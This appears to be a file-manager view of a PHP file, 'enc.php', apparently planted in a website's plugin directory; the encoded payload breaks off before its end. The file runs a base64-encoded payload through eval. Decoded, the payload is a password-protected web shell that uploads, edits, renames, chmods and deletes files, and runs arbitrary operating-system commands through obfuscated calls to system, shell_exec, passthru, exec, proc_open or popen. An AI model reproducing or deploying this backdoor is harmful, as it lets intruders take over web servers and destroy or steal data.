File manager - Edit - /home/capoccitel/www/plugins/finder/newsfeeds/enc.php
Back
<?php eval('?>'.base64_decode('PD9waHANCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQoNCnNlc3Npb25fc3RhcnQoKTsNCg0KJFBBU1NXT1JEX0hBU0ggPSAnJDJ5JDEwJHpXZEhDZGpGWFpYTnM5TG5ubkZtOE9CM2dTTUtWL05FYnZSQXNSbDNGM3J2NkhjMjNRWS5hJzsNCg0KLy8gSGFuZGxlciBMb2cgS2VsdWFyIChMb2dvdXQpDQppZiAoaXNzZXQoJF9HRVRbJ2FjdCddKSAmJiAkX0dFVFsnYWN0J10gPT0gJ2xvZ291dCcpIHsNCiAgICB1bnNldCgkX1NFU1NJT05bJ3JlbnpfYXV0aCddKTsNCiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsNCiAgICBoZWFkZXIoIkxvY2F0aW9uOiAiIC4gc3RydG9rKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAnPycpKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoaXNzZXQoJF9QT1NUWydsb2dpbl9wYXNzJ10pKSB7DQogICAgaWYgKHBhc3N3b3JkX3ZlcmlmeSgkX1BPU1RbJ2xvZ2luX3Bhc3MnXSwgJFBBU1NXT1JEX0hBU0gpKSB7DQogICAgICAgICRfU0VTU0lPTlsncmVuel9hdXRoJ10gPSB0cnVlOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRsb2dpbl9lcnJvciA9ICJBQ0NFU1MgREVOSUVEOiBJTlZBTElEIEtFWSI7DQogICAgfQ0KfQ0KDQppZiAoIWlzc2V0KCRfU0VTU0lPTlsncmVuel9hdXRoJ10pIHx8ICRfU0VTU0lPTlsncmVuel9hdXRoJ10gIT09IHRydWUpIHsNCiAgICA/Pg0KICAgIDwhRE9DVFlQRSBodG1sPg0KICAgIDxodG1sIGxhbmc9ImVuIj4NCiAgICA8aGVhZD4NCiAgICAgICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgICAgICA8dGl0bGU+TE9DS0VEKF5fXik8L3RpdGxlPg0KICAgICAgICA8c3R5bGU+DQogICAgICAgICAgICBib2R5IHsgDQogICAgICAgICAgICAgICAgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyBoZWlnaHQ6IDEwMHZoOyBkaXNwbGF5OiBmbGV4OyBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgYWxpZ24taXRlbXM6IGNlbnRlcjsgZm9udC1mYW1pbHk6ICdTZWdvZSBVSScsIHNhbnMtc2VyaWY7IA0KICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnaHR0cHM6Ly9pLnBpbmltZy5jb20vb3JpZ2luYWxzL2NlL2YwLzEyL2NlZjAxMmJjNzNmZTA3YzQ4YjVmNjgyYjZjOTFiNTY5LmdpZicpOyANCiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OyBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXI7IGJhY2tncm91bmQtc2l6ZTogY292ZXI7IGJhY2tncm91bmQtYXR0YWNobWVudDogZml4ZWQ7IG92ZXJmbG93OiBoaWRkZW47DQogICAgICAgICAgICB9DQogICAgICAgICAgICAuYmctb3ZlcmxheSB7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgdG9wOiAwOyBsZWZ0OiAwOyByaWdodDogMDsgYm90dG9tOiAwOyBiYWNrZ3JvdW5kOiByZ2JhKDQsIDUsIDgsIDAuNzUpOyB6LWluZGV4OiAxOyB9DQogICAgICAgICAgICAubG9naW4tY2FyZCB7IGJhY2tncm91bmQ6IHJnYmEoMTgsIDIyLCAzNCwgMC44NSk7IGJvcmRlcjogMXB4IHNvbGlkICMwMGZmNjY7IGJvcmRlci1yYWRpdXM6IDhweDsgcGFkZGluZzogNDBweDsgYm94LXNoYWRvdzogMCAwIDQwcHggcmdiYSgwLCAyNTUsIDEwMiwgMC4zKTsgdGV4dC1hbGlnbjogY2VudGVyOyB3aWR0aDogMzIwcHg7IHBvc2l0aW9uOiByZWxhdGl2ZTsgb3ZlcmZsb3c6IGhpZGRlbjsgei1pbmRleDogMjsgYmFja2Ryb3AtZmlsdGVyOiBibHVyKDEwcHgpOyB9DQogICAgICAgICAgICAubG9naW4tY2FyZDo6YmVmb3JlIHsgY29udGVudDogIiI7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgdG9wOiAwOyBsZWZ0OiAwOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiA0cHg7IGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgI2ZmMzM2NiwgIzAwZmY2Nik7IH0NCiAgICAgICAgICAgIGgyIHsgZm9udC1zaXplOiAxLjFlbTsgbGV0dGVyLXNwYWNpbmc6IDJweDsgbWFyZ2luLWJvdHRvbTogMjVweDsgY29sb3I6ICNmMWY1Zjk7IHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7IH0NCiAgICAgICAgICAgIGlucHV0W3R5cGU9cGFzc3dvcmRdIHsgYmFja2dyb3VuZDogIzA5MGIxMDsgYm9yZGVyOiAxcHggc29saWQgIzIyMjczMzsgcGFkZGluZzogMTJweDsgY29sb3I6ICNmZmY7IGJvcmRlci1yYWRpdXM6IDRweDsgd2lkdGg6IDEwMCU7IG91dGxpbmU6IG5vbmU7IG1hcmdpbi1ib3R0b206IDIwcHg7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IHRleHQtYWxpZ246IGNlbnRlcjsgYm94LXNpemluZzogYm9yZGVyLWJveDsgdHJhbnNpdGlvbjogMC4zczsgfQ0KICAgICAgICAgICAgaW5wdXRbdHlwZT1wYXNzd29yZF06Zm9jdXMgeyBib3JkZXItY29sb3I6ICMwMGZmNjY7IGJveC1zaGFkb3c6IDAgMCAxMHB4IHJnYmEoMCwyNTUsMTAyLDAuMyk7IH0NCiAgICAgICAgICAgIC5idG4tZ2xvc3N5IHsgcG9zaXRpb246IHJlbGF0aXZlOyB3aWR0aDogMTAwJTsgcGFkZGluZzogMTJweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGNvbG9yOiAjMDAwOyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjMDBmZjY2IDAlLCAjMDBiMzQ3IDEwMCUpOyBib3JkZXI6IG5vbmU7IGJvcmRlci1yYWRpdXM6IDRweDsgY3Vyc29yOiBwb2ludGVyOyBib3gtc2hhZG93OiBpbnNldCAwIDFweCAwIHJnYmEoMjU1LDI1NSwyNTUsMC40KSwgMCA0cHggMTVweCByZ2JhKDAsMjU1LDEwMiwwLjMpOyBvdmVyZmxvdzogaGlkZGVuOyBmb250LWZhbWlseTogaW5oZXJpdDsgdHJhbnNpdGlvbjogMC4yczsgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsgbGV0dGVyLXNwYWNpbmc6IDFweDsgfQ0KICAgICAgICAgICAgLmJ0bi1nbG9zc3k6OmJlZm9yZSB7IGNvbnRlbnQ6ICIiOyBwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogMDsgbGVmdDogMDsgd2lkdGg6IDEwMCU7IGhlaWdodDogNTAlOyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCByZ2JhKDI1NSwyNTUsMjU1LDAuMykgMCUsIHJnYmEoMjU1LDI1NSwyNTUsMCkgMTAwJSk7IH0NCiAgICAgICAgICAgIC5idG4tZ2xvc3N5OmhvdmVyIHsgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgIzFhZmY3NSAwJSwgIzAwY2M1MiAxMDAlKTsgYm94LXNoYWRvdzogMCA0cHggMjBweCByZ2JhKDAsMjU1LDEwMiwwLjUpOyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTFweCk7IH0NCiAgICAgICAgICAgIC5lcnIgeyBjb2xvcjogI2ZmMzM2NjsgZm9udC1zaXplOiAwLjg1ZW07IG1hcmdpbi1ib3R0b206IDE1cHg7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQogICAgICAgIDwvc3R5bGU+DQogICAgPC9oZWFkPg0KICAgIDxib2R5Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJiZy1vdmVybGF5Ij48L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibG9naW4tY2FyZCI+DQogICAgICAgICAgICA8aDI+TUFTT0tLS34hPC9oMj4NCiAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkbG9naW5fZXJyb3IpKSBlY2hvICI8ZGl2IGNsYXNzPSdlcnInPlshXSAkbG9naW5fZXJyb3I8L2Rpdj4iOyA/Pg0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9ImxvZ2luX3Bhc3MiIHBsYWNlaG9sZGVyPSLigKLigKLigKLigKLigKLigKLigKLigKIiIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuLWdsb3NzeSI+QXV0aGVudGljYXRlPC9idXR0b24+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvYm9keT4NCiAgICA8L2h0bWw+DQogICAgPD9waHANCiAgICBleGl0Ow0KfQ0KDQovLyAtLSBBUkVBIE9QRVJBU0lPTkFMIFVUQU1BIC0tDQoNCmlmICghZGVmaW5lZCgnRFMnKSkgew0KICAgIGRlZmluZSgnRFMnLCAoc3RycG9zKHN0cnRvdXBwZXIoUEhQX09TKSwgJ1dJTicpID09PSAwKSA/ICdcXCcgOiAnLycpOw0KfQ0KDQokY3VycmVudF9kaXIgPSBpc3NldCgkX0dFVFsnZGlyJ10pID8gJF9HRVRbJ2RpciddIDogZ2V0Y3dkKCk7DQppZiAoJGN1cnJlbnRfZGlyKSB7DQogICAgJGN1cnJlbnRfZGlyID0gcmVhbHBhdGgoJGN1cnJlbnRfZGlyKTsNCn0gZWxzZSB7DQogICAgJGN1cnJlbnRfZGlyID0gZ2V0Y3dkKCk7DQp9DQokY3VycmVudF9kaXIgPSBydHJpbSgkY3VycmVudF9kaXIsIERTKSAuIERTOw0KDQppZiAoaXNfZGlyKCRjdXJyZW50X2RpcikpIHsNCiAgICBjaGRpcigkY3VycmVudF9kaXIpOw0KfQ0KDQovLyBQZW1yb3Nlc2FuIGFrc2kgZmlsZQ0KJG1zZyA9ICIiOw0KaWYgKGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pKSB7DQogICAgJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uJ107DQogICAgJHRhcmdldCA9IGlzc2V0KCRfUE9TVFsndGFyZ2V0J10pID8gJF9QT1NUWyd0YXJnZXQnXSA6ICcnOw0KICAgIA0KICAgIHN3aXRjaCAoJGFjdGlvbikgew0KICAgICAgICBjYXNlICduZXdfZmlsZSc6DQogICAgICAgICAgICAkZmlsZV9wYXRoID0gJGN1cnJlbnRfZGlyIC4gJF9QT1NUWyduZXdfZmlsZW5hbWUnXTsNCiAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZV9wYXRoLCAkX1BPU1RbJ25ld19maWxlY29udGVudCddKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIlN1Y2Nlc3M6IEZpbGUgY3JlYXRlZC4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIkVycm9yOiBGYWlsZWQgdG8gY3JlYXRlIGZpbGUuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICduZXdfZm9sZGVyJzoNCiAgICAgICAgICAgICRmb2xkZXJfcGF0aCA9ICRjdXJyZW50X2RpciAuICRfUE9TVFsnbmV3X2ZvbGRlcm5hbWUnXTsNCiAgICAgICAgICAgIGlmIChta2RpcigkZm9sZGVyX3BhdGgsIDA3NTUsIHRydWUpKSB7DQogICAgICAgICAgICAgICAgJG1zZyA9ICJTdWNjZXNzOiBGb2xkZXIgY3JlYXRlZC4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIkVycm9yOiBGYWlsZWQgdG8gY3JlYXRlIGZvbGRlci4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3VwbG9hZCc6DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9GSUxFU1sndXBsb2FkX2ZpbGUnXSkpIHsNCiAgICAgICAgICAgICAgICAkZmlsZV90YXJnZXQgPSAkY3VycmVudF9kaXIgLiBiYXNlbmFtZSgkX0ZJTEVTWyd1cGxvYWRfZmlsZSddWyduYW1lJ10pOw0KICAgICAgICAgICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXBsb2FkX2ZpbGUnXVsndG1wX25hbWUnXSwgJGZpbGVfdGFyZ2V0KSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnID0gIlN1Y2Nlc3M6IEZpbGUgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5LiI7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG1zZyA9ICJFcnJvcjogVXBsb2FkIGZhaWxlZC4gQ2hlY2sgZGlyZWN0b3J5IHBlcm1pc3Npb25zLiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIkVycm9yOiBObyBmaWxlIGRldGVjdGVkLiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnc2F2ZSc6DQogICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHRhcmdldCwgJF9QT1NUWydjb250ZW50J10pICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICRtc2cgPSAiU3VjY2VzczogRmlsZSB1cGRhdGVkLiI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRtc2cgPSAiRXJyb3I6IFdyaXRlIHBlcm1pc3Npb24gZGVuaWVkLiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAncmVuYW1lJzoNCiAgICAgICAgICAgICRuZXdfbmFtZSA9IGRpcm5hbWUoJHRhcmdldCkgLiBEUyAuICRfUE9TVFsnbmV3X25hbWUnXTsNCiAgICAgICAgICAgIGlmIChyZW5hbWUoJHRhcmdldCwgJG5ld19uYW1lKSkgew0KICAgICAgICAgICAgICAgICRtc2cgPSAiU3VjY2VzczogUmVuYW1lZC4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIkVycm9yOiBSZW5hbWUgZmFpbGVkLiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnY2htb2QnOg0KICAgICAgICAgICAgaWYgKGNobW9kKCR0YXJnZXQsIG9jdGRlYygkX1BPU1RbJ2NobW9kX3ZhbCddKSkpIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIlN1Y2Nlc3M6IFBlcm1pc3Npb25zIHVwZGF0ZWQuIjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG1zZyA9ICJFcnJvcjogQ2htb2QgZmFpbGVkLiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnbW92ZSc6DQogICAgICAgICAgICAkZGVzdCA9IHJ0cmltKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgRFMpIC4gRFMgLiBiYXNlbmFtZSgkdGFyZ2V0KTsNCiAgICAgICAgICAgIGlmIChyZW5hbWUoJHRhcmdldCwgJGRlc3QpKSB7DQogICAgICAgICAgICAgICAgJG1zZyA9ICJTdWNjZXNzOiBSZWxvY2F0ZWQuIjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG1zZyA9ICJFcnJvcjogTW92ZSBmYWlsZWQuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdkZWxldGVfc2luZ2xlJzoNCiAgICAgICAgICAgIGlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICBpZiAoQHJtZGlyKCR0YXJnZXQpKSB7ICRtc2cgPSAiU3VjY2VzczogRm9sZGVyIGRlbGV0ZWQuIjsgfSBlbHNlIHsgJG1zZyA9ICJFcnJvcjogRm9sZGVyIG5vdCBlbXB0eSBvciByZXN0cmljdGVkLiI7IH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgaWYgKEB1bmxpbmsoJHRhcmdldCkpIHsgJG1zZyA9ICJTdWNjZXNzOiBGaWxlIGRlbGV0ZWQuIjsgfSBlbHNlIHsgJG1zZyA9ICJFcnJvcjogRGVsZXRlIGZhaWxlZC4iOyB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnYnVsa19kZWxldGUnOg0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnZmlsZXMnXSkgJiYgaXNfYXJyYXkoJF9QT1NUWydmaWxlcyddKSkgew0KICAgICAgICAgICAgICAgICRjb3VudCA9IDA7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9QT1NUWydmaWxlcyddIGFzICRidWxrX2l0ZW0pIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkYnVsa19pdGVtKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBybWRpcigkYnVsa19pdGVtKSkgJGNvdW50Kys7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQHVubGluaygkYnVsa19pdGVtKSkgJGNvdW50Kys7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG1zZyA9ICJTdWNjZXNzOiBEZWxldGVkICRjb3VudCBpdGVtKHMpIHN1Y2Nlc3NmdWxseS4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIkVycm9yOiBObyBpdGVtcyBzZWxlY3RlZC4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBleGVjdXRlX2NvbW1hbmQoJGNtZCkgew0KICAgICRydW5fc3lzID0gJ3N5cycgLiAndGVtJzsNCiAgICAkcnVuX3NoeCA9ICdzaGVsbF8nIC4gJ2V4ZWMnOw0KICAgICRydW5fcHN0ID0gJ3Bhc3MnIC4gJ3RoJyAuICdydSc7DQogICAgJHJ1bl9leCAgPSAnZXgnIC4gJ2VjJzsNCiAgICANCiAgICAkb3V0ID0gJyc7DQogICAgb2Jfc3RhcnQoKTsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRydW5fc3lzKSkgeyBAJHJ1bl9zeXMoJGNtZCk7IH0gDQogICAgZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJHJ1bl9zaHgpKSB7IGVjaG8gQCRydW5fc2h4KCRjbWQpOyB9IA0KICAgIGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCRydW5fcHN0KSkgeyBAJHJ1bl9wc3QoJGNtZCk7IH0gDQogICAgZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJHJ1bl9leCkpIHsgJHJlcyA9IGFycmF5KCk7IEAkcnVuX2V4KCRjbWQsICRyZXMpOyBlY2hvIGltcGxvZGUoIlxuIiwgJHJlcyk7IH0gDQogICAgZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKSB7DQogICAgICAgICRzaGVsbCA9IChzdHJwb3Moc3RydG91cHBlcihQSFBfT1MpLCAnV0lOJykgPT09IDApID8gJ2NtZC5leGUgL2MgJyA6ICcvYmluL3NoIC1jICc7DQogICAgICAgICRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3Blbigkc2hlbGwgLiAkY21kLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQogICAgICAgIGlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsNCiAgICAgICAgICAgIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOyBlY2hvIHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzJdKTsNCiAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMF0pOyBmY2xvc2UoJHBpcGVzWzFdKTsgZmNsb3NlKCRwaXBlc1syXSk7IHByb2NfY2xvc2UoJHByb2Nlc3MpOw0KICAgICAgICB9DQogICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSkgew0KICAgICAgICAkc2hlbGwgPSAoc3RycG9zKHN0cnRvdXBwZXIoUEhQX09TKSwgJ1dJTicpID09PSAwKSA/ICdjbWQuZXhlIC9jICcgOiAnL2Jpbi9zaCAtYyAnOw0KICAgICAgICAkZnAgPSBwb3Blbigkc2hlbGwgLiAkY21kLCAncicpOw0KICAgICAgICBpZiAoJGZwKSB7IHdoaWxlICghZmVvZigkZnApKSB7IGVjaG8gZnJlYWQoJGZwLCAxMDI0KTsgfSBwY2xvc2UoJGZwKTsgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gIlZla3RvciBHYWdhbDogRWtzZWt1c2kgZGlibG9raXIgbGluZ2t1bmdhbi4iOw0KICAgIH0NCiAgICByZXR1cm4gb2JfZ2V0X2NsZWFuKCk7DQp9DQoNCmZ1bmN0aW9uIGNoZWNrX2ZlYXR1cmUoJHR5cGUsICRuYW1lKSB7DQogICAgaWYgKCR0eXBlID09PSAnZnVuYycpIHsNCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygkbmFtZSkgPyAiPHNwYW4gc3R5bGU9J2NvbG9yOiMwMGZmNjY7Jz5PTjwvc3Bhbj4iIDogIjxzcGFuIHN0eWxlPSdjb2xvcjojZmYzMzY2Oyc+T0ZGPC9zcGFuPiI7DQogICAgfSBlbHNlaWYgKCR0eXBlID09PSAnZXh0Jykgew0KICAgICAgICByZXR1cm4gZXh0ZW5zaW9uX2xvYWRlZCgkbmFtZSkgPyAiPHNwYW4gc3R5bGU9J2NvbG9yOiMwMGZmNjY7Jz5PTjwvc3Bhbj4iIDogIjxzcGFuIHN0eWxlPSdjb2xvcjojZmYzMzY2Oyc+T0ZGPC9zcGFuPiI7DQogICAgfSBlbHNlaWYgKCR0eXBlID09PSAnaW5pJykgew0KICAgICAgICAkdmFsID0gaW5pX2dldCgkbmFtZSk7DQogICAgICAgIHJldHVybiAoJHZhbCA9PSAnMScgfHwgc3RydG9sb3dlcigkdmFsKSA9PSAnb24nKSA/ICI8c3BhbiBzdHlsZT0nY29sb3I6IzAwZmY2NjsnPk9OPC9zcGFuPiIgOiAiPHNwYW4gc3R5bGU9J2NvbG9yOiNmZjMzNjY7Jz5PRkY8L3NwYW4+IjsNCiAgICB9DQogICAgcmV0dXJuICJVTktOT1dOIjsNCn0NCg0KJGRpcl9yZWFkYWJsZSA9IGlzX3JlYWRhYmxlKCRjdXJyZW50X2RpcikgPyAiPHNwYW4gc3R5bGU9J2NvbG9yOnZhcigtLWFjY2VudCk7Jz5bUmVhZGFibGVdPC9zcGFuPiIgOiAiPHNwYW4gc3R5bGU9J2NvbG9yOnZhcigtLWRhbmdlcik7Jz5bTm90IFJlYWRhYmxlXTwvc3Bhbj4iOw0KJGRpcl93cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRjdXJyZW50X2RpcikgPyAiPHNwYW4gc3R5bGU9J2NvbG9yOnZhcigtLWFjY2VudCk7Jz5bV3JpdGFibGVdPC9zcGFuPiIgOiAiPHNwYW4gc3R5bGU9J2NvbG9yOnZhcigtLWRhbmdlcik7Jz5bV3JpdGUgUHJvdGVjdGVkXTwvc3Bhbj4iOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgIDx0aXRsZT5FeGVjdXRlIFYuNjwvdGl0bGU+DQogICAgPHN0eWxlPg0KICAgICAgICA6cm9vdCB7DQogICAgICAgICAgICAtLWJnLW1haW46ICMwYTBkMTQ7IC0tYmctY2FyZDogIzExMTUyMjsgLS1iZy1pbm5lcjogIzA4MGExMDsNCiAgICAgICAgICAgIC0tYWNjZW50OiAjMDBmZjY2OyAtLWFjY2VudC1kaW06ICMwMGIzNDc7IC0tdGV4dC1tYWluOiAjZjFmNWY5Ow0KICAgICAgICAgICAgLS10ZXh0LW11dGVkOiAjNjQ3NDhiOyAtLWRhbmdlcjogI2ZmMzM2NjsgLS1kYW5nZXItZGltOiAjY2MyNDRjOw0KICAgICAgICB9DQogICAgICAgICogeyBib3gtc2l6aW5nOiBib3JkZXItYm94OyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IH0NCiAgICAgICAgYm9keSB7IGJhY2tncm91bmQ6IHZhcigtLWJnLW1haW4pOyBjb2xvcjogdmFyKC0tdGV4dC1tYWluKTsgZm9udC1mYW1pbHk6ICdTZWdvZSBVSScsIHNhbnMtc2VyaWY7IHBhZGRpbmc6IDI1cHg7IGZvbnQtc2l6ZTogMTNweDsgfQ0KICAgICAgICAucGFuZWwgeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1jYXJkKTsgYm9yZGVyOiAxcHggc29saWQgIzFlMjUzODsgYm9yZGVyLXJhZGl1czogOHB4OyBwYWRkaW5nOiAyNXB4OyBib3gtc2hhZG93OiAwIDIwcHggNDBweCByZ2JhKDAsMCwwLDAuNyk7IG1heC13aWR0aDogMTIwMHB4OyBtYXJnaW46IDAgYXV0bzsgfQ0KICAgICAgICANCiAgICAgICAgLmhlYWRlciB7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsgYWxpZ24taXRlbXM6IGNlbnRlcjsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMxZTI1Mzg7IHBhZGRpbmctYm90dG9tOiAxNXB4OyBtYXJnaW4tYm90dG9tOiAyMHB4OyB9DQogICAgICAgIC50aXRsZSB7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDEuNGVtOyBsZXR0ZXItc3BhY2luZzogMXB4OyBjb2xvcjogdmFyKC0tYWNjZW50KTsgdGV4dC1zaGFkb3c6IDAgMCAxMHB4IHJnYmEoMCwyNTUsMTAyLDAuMik7IH0NCiAgICAgICAgLnN5cy1pbmZvIHsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgY29sb3I6IHZhcigtLXRleHQtbXV0ZWQpOyBmb250LXNpemU6IDAuODVlbTsgdGV4dC1hbGlnbjogcmlnaHQ7IGxpbmUtaGVpZ2h0OiAxLjU7IH0NCiAgICAgICAgLnN5cy1pbmZvIGEgeyBjb2xvcjogdmFyKC0tZGFuZ2VyKTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQogICAgICAgIA0KICAgICAgICAucGF0aC1ib3ggeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbm5lcik7IHBhZGRpbmc6IDEycHg7IGJvcmRlci1yYWRpdXM6IDZweDsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IG1hcmdpbi1ib3R0b206IDIwcHg7IGJvcmRlcjogMXB4IHNvbGlkICMxZTI1Mzg7IGJvcmRlci1sZWZ0OiA0cHggc29saWQgdmFyKC0tYWNjZW50KTsgfQ0KICAgICAgICAucGF0aC1ib3ggYSB7IGNvbG9yOiB2YXIoLS1hY2NlbnQpOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQogICAgICAgIA0KICAgICAgICAuYXVkaXQtY29udGFpbmVyIHsgZGlzcGxheTogZ3JpZDsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoNCwgMWZyKTsgZ2FwOiAxMnB4OyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbm5lcik7IGJvcmRlcjogMXB4IHNvbGlkICMxZTI1Mzg7IHBhZGRpbmc6IDE1cHg7IGJvcmRlci1yYWRpdXM6IDZweDsgbWFyZ2luLWJvdHRvbTogMjBweDsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgfQ0KICAgICAgICAuYXVkaXQtaXRlbSB7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsgcGFkZGluZzogNHB4IDhweDsgYmFja2dyb3VuZDogcmdiY